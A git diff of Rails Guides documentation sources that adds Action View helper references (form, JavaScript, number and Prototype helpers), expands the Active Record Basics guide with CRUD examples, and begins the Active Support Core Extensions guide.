+h5. form_tag
+
+Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
+
+<ruby>
+<% form_tag '/posts' do -%>
+ <div><%= submit_tag 'Save' %></div>
+<% end -%>
+# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+</ruby>
+
+h5. hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+<ruby>
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+</ruby>
+
+h5. image_submit_tag
+
+Displays an image which when clicked will submit the form.
+
+<ruby>
+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+</ruby>
+
+h5. label_tag
+
+Creates a label field.
+
+<ruby>
+label_tag 'name'
+# => <label for="name">Name</label>
+</ruby>
+
+h5. password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+<ruby>
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+</ruby>
+
+h5. radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+<ruby>
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+</ruby>
+
+h5. select_tag
+
+Creates a dropdown selection box.
+
+<ruby>
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+</ruby>
+
+h5. submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+<ruby>
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+</ruby>
+
+h5. text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+<ruby>
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+</ruby>
+
+h5. text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+<ruby>
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+</ruby>
+
+h4. JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.
+
+Rails includes the Prototype JavaScript framework and the Scriptaculous JavaScript controls and visual effects library. If you wish to use these libraries and their helpers, make sure +<%= javascript_include_tag :defaults, :cache => true %>+ is in the HEAD section of your page. This function will include the necessary JavaScript files Rails generated in the public/javascripts directory.
+
+h5. button_to_function
+
+Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
+
+<ruby>
+button_to_function "Greeting", "alert('Hello world!')"
+button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+button_to_function "Details" do |page|
+ page[:details].visual_effect :toggle_slide
+end
+</ruby>
+
+h5. define_javascript_functions
+
+Includes the Action Pack JavaScript libraries inside a single +script+ tag.
+
+h5. escape_javascript
+
+Escape carrier returns and single and double quotes for JavaScript segments.
+
+h5. javascript_tag
+
+Returns a JavaScript tag wrapping the provided code.
+
+<ruby>
+javascript_tag "alert('All is good')"
+</ruby>
+
+<html>
+<script type="text/javascript">
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+</html>
+
+h5. link_to_function
+
+Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
+
+<ruby>
+link_to_function "Greeting", "alert('Hello world!')"
+# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+</ruby>
+
+h4. NumberHelper
+
+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
+
+h5. number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+<ruby>
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+</ruby>
+
+h5. number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
+
+<ruby>
+number_to_human_size(1234) # => 1.2 KB
+number_to_human_size(1234567) # => 1.2 MB
+</ruby>
+
+h5. number_to_percentage
+
+Formats a number as a percentage string.
+
+<ruby>
+number_to_percentage(100, :precision => 0) # => 100%
+</ruby>
+
+h5. number_to_phone
+
+Formats a number into a US phone number.
+
+<ruby>
+number_to_phone(1235551234) # => 123-555-1234
+</ruby>
+
+h5. number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+<ruby>
+number_with_delimiter(12345678) # => 12,345,678
+</ruby>
+
+h5. number_with_precision
+
+Formats a number with the specified level of +precision+, which defaults to 3.
+
+<ruby>
+number_with_precision(111.2345) # => 111.235
+number_with_precision(111.2345, 2) # => 111.23
+</ruby>
+
+h4. PrototypeHelper
+
+Prototype is a JavaScript library that provides DOM manipulation, Ajax functionality, and more traditional object-oriented facilities for JavaScript. This module provides a set of helpers to make it more convenient to call functions from Prototype using Rails, including functionality to call remote Rails methods (that is, making a background request to a Rails action) using Ajax.
+
+To be able to use these helpers, you must first include the Prototype JavaScript framework in the HEAD of the pages with Prototype functions.
+
+<ruby>
+javascript_include_tag 'prototype'
+</ruby>
+
+h5. evaluate_remote_response
+
+Returns +eval(request.responseText)+ which is the JavaScript function that form_remote_tag can call in +:complete+ to evaluate a multiple update return document using +update_element_function+ calls.
+
+h5. form_remote_tag
+
+Returns a form tag that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement. Even though it‘s using JavaScript to serialize the form elements, the form submission will work just like a regular submission as viewed by the receiving side.
+
+For example, this:
+
+<ruby>
+form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
+</ruby>
+
+would generate the following:
+
+<html>
+<form action="/some/place" method="post" onsubmit="new Ajax.Request('',
+ {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">
+</html>
+
+h5. link_to_remote
+
+Returns a link to a remote action that's called in the background using XMLHttpRequest. You can generate a link that uses AJAX in the general case, while degrading gracefully to plain link behavior in the absence of JavaScript. For example:
+
+<ruby>
+link_to_remote "Delete this post",
+ { :update => "posts", :url => { :action => "destroy", :id => post.id } },
+ :href => url_for(:action => "destroy", :id => post.id)
+</ruby>
+
+h5. observe_field
+
+Observes the field specified and calls a callback when its contents have changed.
+
+<ruby>
+observe_field("my_field", :function => "alert('Field changed')")
+</ruby>
+
+h5. observe_form
+
+Observes the form specified and calls a callback when its contents have changed. The options for observe_form are the same as the options for observe_field.
+
+<ruby>
+observe_field("my_form", :function => "alert('Form changed')")
+</ruby>
+
+h5. periodically_call_remote
+
+Periodically calls the specified url as often as specified. Usually used to update a specified div with the results of the remote call. The following example will call update every 20 seconds and update the news_block div:
+
+<ruby>
+periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block')
+# => PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20)
+</ruby>
+
+h5. remote_form_for
+
+Creates a form that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement and a scope around a specific resource that is used as a base for questioning about values for the fields.
+
+<ruby>
+<% remote_form_for(@post) do |f| %>
+ ...
+<% end %>
+</ruby>
+
+h5. remote_function
+
+Returns the JavaScript needed for a remote function. Takes the same arguments as +link_to_remote+.
+
+<ruby>
+<select id="options" onchange="<%= remote_function(:update => "options", :url => { :action => :update_options }) %>">
+ <option value="0">Hello</option>
+ <option value="1">World</option>
+</select>
+# => <select id="options" onchange="new Ajax.Updater('options', '/testing/update_options', {asynchronous:true, evalScripts:true})">
+</ruby>
+
+h5. submit_to_remote
+
+Returns a button input tag that will submit form using XMLHttpRequest in the background instead of a regular POST request that reloads the page.
+
+For example, the following:
+
+<ruby>
+submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' }
+</ruby>
+
+would generate:
+
+<html>
+<input name="create_btn" onclick="new Ajax.Request('/testing/create',
+ {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
+ return false;" type="button" value="Create" />
+</html>
+
+h5. update_page
+
+Yields a JavaScriptGenerator and returns the generated JavaScript code. Use this to update multiple elements on a page in an Ajax response.
+
+<ruby>
+update_page do |page|
+ page.hide 'spinner'
+end
+</ruby>
+
+h5. update_page_tag
+
+Works like update_page but wraps the generated JavaScript in a +script+ tag. Use this to include generated JavaScript in an ERb template.
+
+h4. PrototypeHelper::JavaScriptGenerator::GeneratorMethods
+
+JavaScriptGenerator generates blocks of JavaScript code that allow you to change the content and presentation of multiple DOM elements. Use this in your Ajax response bodies, either in a +script+ tag or as plain JavaScript sent with a Content-type of "text/javascript".
+
+h5. <<
+
+Writes raw JavaScript to the page.
+
+<ruby>
+page << "alert('JavaScript with Prototype.');"
+</ruby>
+
+h5. []
+
+Returns a element reference by finding it through it's id in the DOM.
+
+<ruby>
+page['blank_slate'].show # => $('blank_slate').show();
+</ruby>
+
+h5. alert
+
+Displays an alert dialog with the given message.
+
+<ruby>
+page.alert('This message is from Rails!')
+</ruby>
+
+h5. assign
+
+Assigns the JavaScript variable the given value.
+
+<ruby>
+page.assign 'tabulated_total', @total_from_cart
+</ruby>
+
+h5. call
+
+Calls the JavaScript function, optionally with the given arguments.
+
+<ruby>
+page.call 'Element.replace', 'my_element', "My content to replace with."
+</ruby>
+
+h5. delay
+
+Executes the content of the block after a delay of the number of seconds provided.
+
+<ruby>
+page.delay(20) do
+ page.visual_effect :fade, 'notice'
+end
+</ruby>
+
+h5. draggable
+
+Creates a script.aculo.us draggable element. See ActionView::Helpers::ScriptaculousHelper for more information.
+
+h5. drop_receiving
+
+Creates a script.aculo.us drop receiving element. See ActionView::Helpers::ScriptaculousHelper for more information.
+
+h5. hide
+
+Hides the visible DOM elements with the given ids.
+
+<ruby>
+page.hide 'person_29', 'person_9', 'person_0'
+</ruby>
+
+h5. insert_html
+
+Inserts HTML at the specified position relative to the DOM element identified by the given id.
+
+<ruby>
+page.insert_html :bottom, 'my_list', '<li>Last item</li>'
+</ruby>
+
+h5. literal
+
+Returns an object whose to_json evaluates to the code provided. Use this to pass a literal JavaScript expression as an argument to another JavaScriptGenerator method.
+
+h5. redirect_to
+
+Redirects the browser to the given location using JavaScript, in the same form as +url_for+.
+
+<ruby>
+page.redirect_to(:controller => 'accounts', :action => 'new')
+</ruby>
+
+h5. remove
+
+Removes the DOM elements with the given ids from the page.
+
+<ruby>
+page.remove 'person_23', 'person_9', 'person_2'
+</ruby>
+
+h5. replace
+
+Replaces the "outer HTML" (i.e., the entire element, not just its contents) of the DOM element with the given id.
+
+<ruby>
+page.replace 'person-45', :partial => 'person', :object => @person
+</ruby>
+
+h5. replace_html
+
+Replaces the inner HTML of the DOM element with the given id.
+
+<ruby>
+page.replace_html 'person-45', :partial => 'person', :object => @person
+</ruby>
+
+h5. select
+
+Returns a collection reference by finding it through a CSS pattern in the DOM.
+
+<ruby>
+page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
+</ruby>
+
+h5. show
+
+Shows hidden DOM elements with the given ids.
+
+<ruby>
+page.show 'person_6', 'person_13', 'person_223'
+</ruby>
+
+h5. sortable
+
+Creates a script.aculo.us sortable element. Useful to recreate sortable elements after items get added or deleted. See ActionView::Helpers::ScriptaculousHelper for more information.
+
+h5. toggle
+
+Toggles the visibility of the DOM elements with the given ids. Example:
+
+<ruby>
+page.toggle 'person_14', 'person_12', 'person_23' # Hides the elements
+page.toggle 'person_14', 'person_12', 'person_23' # Shows the previously hidden elements
+</ruby>
+
+h5. visual_effect
+
+Starts a script.aculo.us visual effect. See ActionView::Helpers::ScriptaculousHelper for more information.
+
+
+TODO start from RecordIdentificationHelper
-TODO...
h3. Localized Views
@@ -44,8 +1457,6 @@ Action View has the ability render different templates depending on the current
For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-TODO add full code example...
-
You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages.
Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
@@ -58,7 +1469,7 @@ def set_expert_locale
end
</ruby>
-Then you could create special views like +app/views/posts/show.expert.html.erb+, which would only be displayed to expert users.
+Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
@@ -66,4 +1477,5 @@ h3. Changelog
"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/71
+* September 3, 2009: Continuing work by Trevor Turk, leveraging the "Action Pack docs":http://ap.rubyonrails.org/ and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts
* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs
diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile
index bf6e3c8181..226f1b134b 100644
--- a/railties/guides/source/active_record_basics.textile
+++ b/railties/guides/source/active_record_basics.textile
@@ -1,50 +1,37 @@
h2. Active Record Basics
-This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
+This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
-After reading this guide we hope that you'll be able to:
-
-* Understand the way Active Record fits into the MVC model.
-* Create basic Active Record models and map them with your database tables.
-* Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
-* Follow the naming conventions used by Rails to make developing database applications easier and obvious.
-* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
-* Use Active Record with legacy databases that do not follow the Rails naming conventions.
+* What Object Relational Mapping and Active Record are and how they are used in Rails
+* How Active Record fits into the Model-View-Controller paradigm
+* How to use Active Record models to manipulate data stored in a relational database
+* Active Record schema naming conventions
+* The concepts of database migrations, validations and callbacks
endprologue.
-h3. What's Active Record?
-
-Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
+h3. What is Active Record?
-* Each database table is mapped to a class.
-* Each table column is mapped to an attribute of this class.
-* Each instance of this class is mapped to a single row in the database table.
+Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
-The definition of the Active Record pattern in Martin Fowler's words:
+h4. The Active Record Pattern
-??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
+Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
-h3. Object Relational Mapping
+h4. Object Relational Mapping
-The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
-h3. ActiveRecord as an ORM Framework
+h4. Active Record as an ORM Framework
-ActiveRecord gives us several mechanisms, being the most important ones the ability to:
+Active Record gives us several mechanisms, the most important being the ability to:
-* Represent models.
-* Represent associations between these models.
-* Represent inheritance hierarchies through related models.
-* Validate models before they get recorded to the database.
+* Represent models and their data
+* Represent associations between these models
+* Represent inheritance hierarchies through related models
+* Validate models before they get persisted to the database
* Perform database operations in an object-oriented fashion.
-It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
-
-h3. Active Record Inside the MVC Model
-
-Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
-
h3. Convention over Configuration in ActiveRecord
When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
@@ -125,11 +112,93 @@ class Product < ActiveRecord::Base
end
</ruby>
+h3. Reading and Writing Data
+
+CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update, Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
+
+h4. Create
+
+Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database.
+
+For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database:
+
+<ruby>
+ user = User.create(:name => "David", :occupation => "Code Artist")
+</ruby>
+
+Using the _new_ method, an object can be created without being saved:
+
+<ruby>
+ user = User.new
+ user.name = "David"
+ user.occupation = "Code Artist"
+</ruby>
+
+A call to _user.save_ will commit the record to the database.
+
+Finally, passing a block to either create or new will return a new User object:
+
+<ruby>
+ user = User.new do |u|
+ u.name = "David"
+ u.occupation = "Code Artist"
+ end
+</ruby>
+
+h4. Read
+
+ActiveRecord provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by ActiveRecord.
+
+<ruby>
+ # return all records
+ users = User.all
+</ruby>
+
+<ruby>
+ # return first record
+ user = User.first
+</ruby>
+
+<ruby>
+ # return the first user named David
+ david = User.find_by_name('David')
+</ruby>
+
+<ruby>
+ # find all users named David who are Code Artists and sort by created_at in reverse chronological order
+ users = User.all(:conditions => { :name => 'David', :occupation => 'Code Artist'}, :order => 'created_at DESC')
+</ruby>
+
+You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
+
+h4. Update
+
+Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
+
+<ruby>
+ user = User.find_by_name('David')
+ user.name = 'Dave'
+ user.save
+</ruby>
+
+h4. Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
+
+<ruby>
+ user = User.find_by_name('David')
+ user.destroy
+</ruby>
+
+
h3. Validations
-ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview.
+Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview.
h3. Callbacks
-ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview.
+Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview.
+
+h3. Migrations
+Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html \ No newline at end of file
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
new file mode 100644
index 0000000000..3073c3a7a5
--- /dev/null
+++ b/railties/guides/source/active_support_core_extensions.textile
@@ -0,0 +1,1835 @@
+h2. Active Support Core Extensions
+
+Active Support is the Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Rails itself.
+
+By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Rails.
+
+endprologue.
+
+h3. Extensions to All Objects
+
+h4. +blank?+ and +present?+
+
+The following values are considered to be blank in a Rails application:
+
+* +nil+ and +false+,
+
+* strings composed only of whitespace, i.e. matching +/\A\s*\z/+,
+
+* empty arrays and hashes, and
+
+* any other object that responds to +empty?+ and it is empty.
+
+WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
+
+For example, this method from +ActionDispatch::Response+ uses +blank?+ to easily be robust to +nil+ and whitespace strings in one shot:
+
+<ruby>
+def charset
+ charset = String(headers["Content-Type"] || headers["type"]).split(";")[1]
+ charset.blank? ? nil : charset.strip.split("=")[1]
+end
+</ruby>
+
+That's a typical use case for +blank?+.
+
+Here, the method Rails runs to instantiate observers upon initialization has nothing to do if there are none:
+
+<ruby>
+def instantiate_observers
+ return if @observers.blank?
+ # ...
+end
+</ruby>
+
+The method +present?+ is equivalent to +!blank?+:
+
+<ruby>
+assert @response.body.present? # same as !@response.body.blank?
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+
+h4. +presence+
+
+The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
+
+<ruby>
+host = config[:host].presence || 'localhost'
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+
+h4. +duplicable?+
+
+A few fundamental objects in Ruby are singletons. For example, in the whole live of a program the integer 1 refers always to the same instance:
+
+<ruby>
+1.object_id # => 3
+Math.cos(0).to_i.object_id # => 3
+</ruby>
+
+Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
+
+<ruby>
+true.dup # => TypeError: can't dup TrueClass
+</ruby>
+
+Some numbers which are not singletons are not duplicable either:
+
+<ruby>
+0.0.clone # => allocator undefined for Float
+(2**1024).clone # => allocator undefined for Bignum
+</ruby>
+
+Active Support provides +duplicable?+ to programmatically query an object about this property:
+
+<ruby>
+"".duplicable? # => true
+false.duplicable? # => false
+</ruby>
+
+By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class objects.
+
+WARNING. Using +duplicable?+ is discouraged because it depends on a hard-coded list. Classes have means to disallow duplication like removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell.
+
+NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
+
+h4. +returning+
+
+The method +returning+ yields its argument to a block and returns it. You tipically use it with a mutable object that gets modified in the block:
+
+<ruby>
+def html_options_for_form(url_for_options, options, *parameters_for_url)
+ returning options.stringify_keys do |html_options|
+ html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+ html_options["action"] = url_for(url_for_options, *parameters_for_url)
+ end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/returning.rb+.
+
+h4. +try+
+
+Sometimes you want to call a method provided the receiver object is not +nil+, which is something you usually check first.
+
+For instance, note how this method of +ActiveRecord::ConnectionAdapters::AbstractAdapter+ checks if there's a +@logger+:
+
+<ruby>
+def log_info(sql, name, ms)
+ if @logger && @logger.debug?
+ name = '%s (%.1fms)' % [name || 'SQL', ms]
+ @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+ end
+end
+</ruby>
+
+You can shorten that using +Object#try+. This method is a synonim for +Object#send+ except that it returns +nil+ if sent to +nil+. The previous example could then be rewritten as:
+
+<ruby>
+def log_info(sql, name, ms)
+ if @logger.try(:debug?)
+ name = '%s (%.1fms)' % [name || 'SQL', ms]
+ @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+ end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/try.rb+.
+
+h4. +metaclass+
+
+The method +metaclass+ returns the singleton class on any object:
+
+<ruby>
+String.metaclass # => #<Class:String>
+String.new.metaclass # => #<Class:#<String:0x17a1d1c>>
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/metaclass.rb+.
+
+h4. +class_eval(*args, &block)+
+
+You can evaluate code in the context of any object's singleton class using +class_eval+:
+
+<ruby>
+class Proc
+ def bind(object)
+ block, time = self, Time.now
+ object.class_eval do
+ method_name = "__bind_#{time.to_i}_#{time.usec}"
+ define_method(method_name, &block)
+ method = instance_method(method_name)
+ remove_method(method_name)
+ method
+ end.bind(object)
+ end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/metaclass.rb+.
+
+h4. +acts_like?(duck)+
+
+The method +acts_like+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
+
+<ruby>
+def acts_like_string?
+end
+</ruby>
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+<ruby>
+some_klass.acts_like?(:string)
+</ruby>
+
+Rails has classes that act like +Date+ or +Time+ and follow this contract.
+
+NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
+
+h4. +to_param+
+
+All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as a URL fragments.
+
+By default +to_param+ just calls +to_s+:
+
+<ruby>
+7.to_param # => "7"
+</ruby>
+
+The return value of +to_param+ should *not* be escaped:
+
+<ruby>
+"Tom & Jerry".to_param # => "Tom & Jerry"
+</ruby>
+
+Several classes in Rails overwrite this method.
+
+For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
+
+<ruby>
+[0, true, String].to_param # => "0/true/String"
+</ruby>
+
+Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
+
+<ruby>
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+</ruby>
+
+we get:
+
+<ruby>
+user_path(@user) # => "/users/357-john-smith"
+</ruby>
+
+WARNING. Controllers need to be aware of any redifinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
+
+NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
+
+h4. +to_query+
+
+Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
+
+<ruby>
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+</ruby>
+
+we get:
+
+<ruby>
+current_user.to_query('user') # => user=357-john-smith
+</ruby>
+
+This method escapes whatever is needed, both for the key and the value:
+
+<ruby>
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+</ruby>
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
+
+<ruby>
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+</ruby>
+
+Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assigments calling +to_query(key)+ on its values. Then it joins the result with "&":
+
+<ruby>
+{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
+</ruby>
+
+The method +Hash#to_query+ accepts an optional namespace for the keys:
+
+<ruby>
+{:id => 89, :name => "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
+
+h4. +with_options+
+
+The method +with_options+ provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+<ruby>
+class Account < ActiveRecord::Base
+ has_many :customers, :dependent => :destroy
+ has_many :products, :dependent => :destroy
+ has_many :invoices, :dependent => :destroy
+ has_many :expenses, :dependent => :destroy
+end
+</ruby>
+
+this way:
+
+<ruby>
+class Account < ActiveRecord::Base
+ with_options :dependent => :destroy do |assoc|
+ assoc.has_many :customers
+ assoc.has_many :products
+ assoc.has_many :invoices
+ assoc.has_many :expenses
+ end
+end
+</ruby>
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+<ruby>
+I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
+ subject i18n.t :subject
+ body i18n.t :body, :user_name => user.name
+end
+</ruby>
+
+TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
+
+h4. Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+h5. +instance_variable_names+
+
+Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
+
+<ruby>
+class C
+ def initialize(x, y)
+ @x, @y = x, y
+ end
+end
+
+C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+</ruby>
+
+WARNING: The order in which the names are returned is unespecified, and it indeed depends on the version of the interpreter.
+
+NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+
+h5. +instance_values+
+
+The method +instance_values+ returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings both in Ruby 1.8 and 1.9:
+
+<ruby>
+class C
+ def initialize(x, y)
+ @x, @y = x, y
+ end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+
